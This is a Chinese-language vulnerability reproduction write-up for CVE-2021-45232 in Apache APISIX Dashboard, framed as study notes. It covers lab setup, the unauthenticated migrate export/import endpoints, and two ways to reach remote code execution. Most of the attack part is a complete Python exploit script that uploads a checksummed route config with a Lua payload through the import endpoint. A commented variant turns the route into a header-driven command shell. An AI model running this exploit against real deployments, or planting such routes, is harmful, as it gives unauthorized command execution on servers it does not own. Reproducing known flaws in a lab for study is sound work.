apache apisix Dashboard 未授权到rce
背景:
复现记录学习
漏洞编号:
CVE-2021-45232
漏洞详细:
可以把你所配置的路由列表信息未授权,严重可造成rce
影响范围:
apche:APISIX Dashboard <2.10.1
环境搭建:
git clone https://github.com/apache/apisix-docker
修改docker-compose.yml

docker-compose up -d 启动环境
poc:
访问下面两个路径返回状态为200存在漏洞
/apisix/admin/migrate/export
/apisix/admin/migrate/import

未授权到rce执行:
一、利用filter_func函数:


触发漏洞: 访问9080端口 出发漏洞代码代码
curl http://ip:9080
触发成功:

二、在路由中添加script 代码
官方文档:https://apisix.apache.org/docs/apisix/architecture-design/script
原因:该接口可以导入api six接口配置文件,路由存在script参数,可以执行任意lua脚本,造成命令执行;
配置一个路由 ,修改uri 和添加script脚本

访问http://ip:9080/123 成功执行 mkdir /tmp/123

调用 /apisix/admin/migrate/import 这个接口
思路:就是需要导入文件,文件需要checksum利用python脚本
参考大佬的脚本,需要对数据进行checksum以file导入
抓包

参考大佬的脚本,自己改了一点:https://github.com/wuppp/cve-2021-45232-exp
import random,string,json,zlib,requests #"script": "local file = io.popen(ngx.re.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)q", eval_config = { "Counsumers": [], "Routes": [ { "id": str(random.randint(100000000000000000, 1000000000000000000)), "create_time": 1640674554, "update_time": 1640677637, "uris": [ "/rce" ], "name": "rce", "methods": [ "GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE" ], "script": "os.execute('mkdir /tmp/852')", "status": 1 } ], "Services": [], "SSLs": [], "Upstreams": [], "Scripts": [], "GlobalPlugins": [], "PluginConfigs": [] } proxies={ "http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080" } #将数据进行checksum def calc_crc(data): crc32 = zlib.crc32(data) & 0xffffffff return crc32.to_bytes(4, byteorder="big") def import_apix(url,data): data = json.dumps(data).encode() # 将数据进行转换为json存储到文件中,后面需要以文件上传 checksum=calc_crc(data) # 进行checksum ,然后添加到数据后面 files = {"file": ("data", data + checksum, "text/data")} resp = requests.post(url + "/apisix/admin/migrate/import", files=files, proxies=proxies,verify=False) # print(resp.text) if resp.json().get("code", -1) == 0: return True else: return False #生成一个随机路径 def random_str(): return ''.join(random.choices(string.ascii_letters + string.digits, k=6)) if __name__ == '__main__': uri = random_str() print(uri) eval_config["Routes"][0]["uris"] = ["/" + uri] eval_config["Routes"][0]["name"] = uri print(eval_config,end='\n') if import_apix('http://192.168.142.128:9000', eval_config): print("attack success") print("uri is: " + "/" + uri) else: print("attack error")

获取到这个url后同样访问 http:/ip:9080/uri 即可成功
补充:
利用第一种也可以,修改python脚本添加filter_func:function(vars) os.execute(\"mkdir /tmp/789\");return end就可以
参考链接:
https://www.o2oxy.cn/3945.html
https://www.bookstack.cn/read/apache-apisix-1.4-zh/33860207d6bb4917.md

浙公网安备 33010602011771号